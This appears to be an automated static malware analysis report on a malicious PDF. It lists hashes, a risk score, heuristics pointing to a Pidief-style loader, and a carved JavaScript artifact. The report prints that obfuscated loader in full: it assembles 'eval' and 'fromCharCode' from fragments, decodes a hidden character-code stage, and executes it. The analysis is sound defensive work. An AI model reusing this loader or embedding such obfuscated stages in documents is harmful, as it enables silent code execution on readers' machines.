Malicious PDF — malware analysis report

Static analysis result for SHA-256 2fa63e2702867517…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-09-20
MD5: a5acc8d751cfa3d3a398a0801793474f SHA-1: c8132e6d16efff35e6e28c2cec3ef58a2e4f11ab SHA-256: 2fa63e27028675179ec6cf5ba93177bf06b0d5596e9026089ffcf41e072388b8
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to execute malicious code, potentially leading to further compromise. The document body 'substr split test' provides no context for a legitimate purpose.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB077 437 bytes
SHA-256: 2deb2d66cdfe3d4b51d60053fac120bb6614aaf4c945aed73e783496fc8cf7d2
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
giv=e('ti'.concat(v[4],t));
q=giv[v](a.length-6,a.length+2);
erv=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=giv[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	rsp = 1*(q[i]);
	i++;
	rsp -= (-1)*(q[i]);
	s2 = s2.concat(erv(rsp));
	i++;
}
e(s2);

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